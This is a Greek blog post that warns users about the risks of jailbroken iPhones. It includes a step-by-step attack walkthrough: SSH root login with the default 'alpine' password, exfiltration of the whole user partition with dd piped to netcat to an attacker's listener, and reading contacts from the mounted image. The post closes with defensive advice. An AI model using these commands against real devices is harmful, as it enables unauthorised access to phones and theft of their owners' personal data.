iPhone, και ασφάλεια προσωπικών δεδομένων...

com.apple.iphone-3g.png
Πόσο ασφαλή είναι τα προσωπικά μου δεδομένα εάν χρησιμοποιώ ένα “σπασμένο” (jailbroken) iphone ? Η απάντηση δυστυχώς, είναι αυτή που φοβόμαστε, στην περίπτωση των jailbroken iPhones η ασφάλεια είναι σχεδόν ανύπαρκτη. Ο λόγος είναι, οτι για να εγκατασταθεί το λογισμικό ώστε να ξεκλειδώσουμε το τηλέφωνο, πρέπει να ανοίξουμε μια τεράστια τρύπα στην ασφάλεια του λογισμικού του τηλεφώνου, εν αγνοία μας φυσικά, αυτό όμως δε σημαίνει οτι δε μπορούμε και να την κλείσουμε. Το post αυτό θα έχει 2 μέρη, αυτό είναι το πρώτο και μελετάει την ασφάλεια στην ίδια τη συσκευή όταν είναι jailbroken, το δεύτερο μέρος, που θα postάρω κάποια στιγμή στο μέλλον, θα έχει να κάνει με την ασφάλεια του συστήματος iPhone-iTunes, ως προς το πόσα, και ποια, είναι τα δεδομένα που μπορεί να αφήσουμε σε υπολογιστές, στους οποίους έχουμε συνδέσει κατά καιρούς το τηλέφωνο, ακόμα και όταν αυτό δεν είναι jailbroken...
Θα μελετήσουμε μερικά σενάρια για το πώς μπορεί να συνδεθεί κάποιος στο τηλέφωνο, προϋποθέσεις, το τηλέφωνο πρέπει να είναι jailbroken και να έχει ανοιχτό WiFi, το οποίο σε πάρα πολλές περιπτώσεις, οι χρήστες απλά το ξεχνάνε ανοιχτό !!! Και όσο και αν φαίνεται τραβηγμένο, υπάρχουν πάρα πολλά τηλέφωνα που τηρούν αυτές τις προϋποθέσεις.

Σενάρια.
Σενάριο 1: Ο χρήστης του τηλεφώνου είναι με την παρέα του σε γνωστή καφετέρια, μόλις έχουν κάτσει, βγάζει από τη τσέπη το jailbroken τηλέφωνό του, συνδέεται στο free WiFi, και επισκέπτεται κάποια ιστοσελίδα για να σχεδιάσει τη συνέχεια της εξόδου. Ο “cracker” βρίσκεται κοντά, έχει κάτσει σε ένα τραπέζι στην ίδια καφετέρια, έχει ανοίξει το laptop του, και ξεκινάει τη διαδικασία για να μπει στο τηλέφωνο. Τα πράγματα είναι πολύ πιο εύκολα απ’ όσο μπορεί να φανταστεί κάποιος, το “θύμα” με την παρέα του θα κάτσουν τουλάχιστον μια ώρα, φαίνεται οτι περνάνε καλά, ο “cracker” αφού ψάξει το ασύρματο δίκτυο, θα βρει το όνομα του τηλεφώνου, που στο 90% των περιπτώσεων θα είναι της μορφής “John’s iPhone” και στη συνέχεια θα προσπαθήσει να ανοίξει μια ssh σύνδεση με το κινητό. Εδώ αρχίζει να φαίνεται η τρύπα στην ασφάλεια, αφού αν το κινητό δεν ήταν jailbroken το ssh θα ήταν κλειστό!!! Στη συγκεκριμένη περίπτωση όμως το ssh είναι ορθάνοιχτο, και... μαντέψτε... το password για τον administrator είναι γνωστό. Ο λόγος είναι οτι η Apple δεν είχε προβλέψει τέτοια σενάρια ώστε να φροντίσει να έχει μια ρύθμιση για την αλλαγή του password του root user, και τα προγράμματα τα οποία υπάρχουν στο internet για να κάνει κάποιος jailbreak δε τονίζουν την ανάγκη για αλλαγή του κωδικού, οπότε παραμένει το αρχικό password το οποίο είναι η λέξη “alpine”.

Σενάριο 2: Ο χρήστης του τηλεφώνου βρίσκεται σε ένα σημείο όπου δεν υπάρχουν ασύρματα δίκτυα. Παρόλαυτά έχει το WiFi του τηλεφώνου του ενεργοποιημένο για διάφορους λόγους, όπως... άγνοια. Μπορούμε να δημιουργήσουμε ένα ασύρματο δίκτυο απο τον υπολογιστή μας, πολύ απλά, χρησιμοποιώντας τα ήδη υπάρχοντα προγράμματα (κλικ στο Airport Status και επιλογή Create Network) και εφόσον δε βάλουμε κωδικό στο δίκτυο το τηλέφωνο μέσα σε λίγη ώρα θα συνδεθεί από μόνο του !!!!!!

Χρησιμοποιώντας το SSH.
Αφού το τηλέφωνο είναι ενεργό στο δίκτυο, το επόμενο βήμα είναι ο “cracker” να συνδεθεί με SSH. Δίνοντας σε ένα Terminal την εντολή
ssh -l root x.x.x.x

Όπου x.x.x.x θα βάλει το ip του τηλεφώνου στο δίκτυο. Αφού συνδεθεί θα του ζητήσει μια επιβεβαίωση για το certification και αργότερα θα ζητήσει το password για τον χρήστη root το οποίο όπως είπαμε πιο πάνω, θα είναι η λέξη “alpine”. Από εκείνη τη στιγμή έχει πλήρη πρόσβαση στο τηλέφωνο, ακόμα και σε λειτουργίες που ο νόμιμος χρήστης δε μπορεί να ελέγξει.

Εξετάζοντας τα αποθηκευμένα δεδομένα.
Το iPhone έχει 2 partitions, στο ένα, το οποίο είναι κάπου 300MB, είναι αποθηκευμένο το λειτουργικό σύστημα, ενώ στο άλλο είναι όλα τα δεδομένα του χρήστη, από μουσική και φωτογραφίες μέχρι το ιστορικό του google maps τα sms, ο τηλεφωνικός κατάλογος κλπ. αλλά και άλλα δεδομένα που θα σας κάνουν να ανατριχιάσετε, όπως για παράδειγμα screenshots από τις εφαρμογές που χρησιμοποιήσατε... γιατί όμως να υπάρχουν screenshots ? πολύ απλά, το οπτικό effect που εξαφανίζεται μια εφαρμογή όταν πατάτε το home button, για να γίνει, οι προγραμματιστές αποφάσισαν να κρατάνε ένα screenshot και να το κάνουν zoom out ! τίποτα από αυτά δε σβήνεται, και ο λόγος που δε σβήνονται είναι ο τύπος μνήμης που χρησιμοποιεί το τηλέφωνο. Η μνήμη SSD έχει συγκεκριμένο κύκλο ζωής, μπορεί να γράψει μερικές 100άδες χιλιάδες φορές μέχρι να σταματήσει να δουλεύει, όταν σβήνεις κάτι στην ουσία γράφεις στη μνήμη, άρα με το να μη σβήνεται τίποτα φροντίζουν για τη μακροζωία της μνήμης του.

Εάν ο “cracker” γνωρίζει τα κατατόπια θα μπορέσει μέσα σε λίγα δευτερόλεπτα να πάρει τα αρχεία που χρειάζεται, και θα αποσυνδεθεί, υπάρχει όμως και η περίπτωση να αντιγράψει ολόκληρη τη μνήμη του τηλεφώνου στον υπολογιστή του, μέσω του ασύρματου δικτύου. Για να γίνει κάτι τέτοιο θα χρειαστούν 2 προγράμματα τα οποία υπάρχουν σε όλα τα UNIX συστήματα, συμπεριλαμβανομένου και του iPhone. Αυτά είναι τα dd και nc. Το dd είναι υπεύθυνο για τη δημιουργία ενός αντιγράφου του δίσκου, και το nc η αλλιώς netcat είναι υπεύθυνο για τη μεταφορά των δεδομένων μέσω του δικτύου. Η λογική είναι να ανοίξουμε μια σύνδεση και να περάσουμε όλα τα δεδομένα σε ένα αρχείο, αυτό θα γίνει κάπως έτσι :
Στον υπολογιστή του ο “cracker” θα δώσει στο τερματικό την εντολή:
nc -l 5555 | dd of=./rdisk0s2 bs=4096
Αυτό θα πει στον υπολογιστή να περιμένει δεδομένα(-l = listen) στο port 5555 και ότι λάβει να το στείλει (|) στο dd και το τελευταίο, να το περάσει (of) σε ένα disk image με την ονομασία rdisk0s2 την ονομασία που έχει το partition του τηλεφώνου με τα δεδομένα του χρήστη, και το disk image να έχει block size 4096bytes
Στο τηλέφωνο από την άλλη θα πρέπει να δώσει μια εντολή ώστε να στείλει τα δεδομένα στον υπολογιστή, αυτή η εντολή θα είναι:
/bin/dd if=/dev/rdisk0s2 bs=4096 | nc x.x.x.x 5555
Αναλυτικά, η εντολή λέει στο πρόγραμμα dd το οποίο βρίσκεται στο φάκελο /bin/ να διαβάσει (if) το partition rdisk0s2 με block size 4096 και να το στείλει (|) στο netcat (nc) το οποίο θα στείλει τα δεδομένα στο x.x.x.x που είναι το ip του υπολογιστή στο port 5555. Η ώρα που θα διαρκέσει η μεταφορά εξαρτάται από το πόσο μεγάλη είναι η μνήμη του τηλεφώνου, μόλις όμως τελειώσει, ο cracker θα έχει ένα ακριβές αντίγραφο του δίσκου του τηλεφώνου. Τρομακτικό θα έλεγε κανείς...

Εξετάζοντας το disk image, κάνοντας extract τα δεδομένα.
Το iPhone όπως και ένας υπολογιστής με Mac OS X λειτουργικό χρησιμοποιούν το ίδιο σύστημα αρχείων το οποίο είναι το HFS + άρα προσθέτοντας την κατάληξη .dmg στο αρχείο rdisk0s2 ο υπολογιστής το βλέπει κανονικά ως dmg image και αφού έχει native support, κάνοντας διπλό κλικ μπορούμε να το κάνουμε mount και να δούμε όλα τα δεδομένα που είναι αποθηκευμένα σε αυτό. Τα δεδομένα του address book , sms , email, κλπ. αποθηκεύονται σε SQLite βάσεις δεδομένων, αυτά είναι τα αρχεία με την κατάληξη .sqlitedb . Το Mac OS X έχει ένα εργαλείο σε μη γραφικό περιβάλλον αλλά μπορούμε κάλλιστα να κατεβάσουμε το open source sqlite browser
http://sqlitebrowser.sourceforge.net/
με το οποίο μπορούμε να διαβάσουμε τις βάσεις δεδομένων SQL. Ένα παράδειγμα πάνω σε αυτό είναι το αρχείο AddressBook.sqlitedb στο οποίο αποθηκεύεται ο τηλεφωνικός κατάλογος, αν ο “cracker” ανοίξει το αρχείο
/mobile/Library/AddressBook/AddressBook.sqlitedb
με το sqlite browser, θα μπορέσει πολύ εύκολα να δει όλες τις αποθηκευμένες επαφές.
Snapshot απο το sqlitebrowser έχοντας ανοιχτό το AddressBook.sqlitedb.
Screen-shot.png

Χρησιμοποιώντας εργαλεία ανάκτησης.
Σχεδόν όλοι μας έχουν χάσει κατά καιρούς κάποιες φωτογραφίες από το δίσκο τους, και έχουν χρησιμοποιήσει κάποιο πρόγραμμα ανάκτησης, έτσι και εδώ, εάν χρησιμοποιήσουμε ένα τέτοιο πρόγραμμα που να υποστηρίζει HFS+ θα μπορέσουμε να ανακτήσουμε ακόμα και τα δεδομένα που έχουν σβηστεί.

Προσθέτοντας ασφάλεια στο σύστημα.
Το κυριότερο που μας διδάσκει αυτό το άρθρο είναι ΝΑ ΜΗΝ ΚΑΝΟΥΜΕ jailbreak το τηλέφωνό μας. Αν κάνουμε jailbreak θα φροντίσουμε τουλάχιστον να αλλάξουμε τον κωδικό του χρήστη root, κατεβάζοντας ένα terminal πρόγραμμα στο τηλέφωνο, η με το να συνδεθούμε με ssh από τον υπολογιστή μας όπως περιέγραψα πιο πάνω, έτσι ώστε να μπορούμε να δώσουμε την εντολή
passwd root
θα μας ζητήσει τον κωδικό, ο οποίος είναι "alpine" και μετά θα πρέπει να βάλουμε εμείς ένα δικό μας, θα φροντίσουμε να είναι αρκετά δύσκολος. Και φυσικά, θα πρέπει ΝΑ ΚΛΕΙΝΟΥΜΕ ΤΟ WIFI όταν δε το χρειαζόμαστε, κάνουμε καλό και στην ασφάλειά μας, αλλά και στη μπαταρία του τηλεφώνου.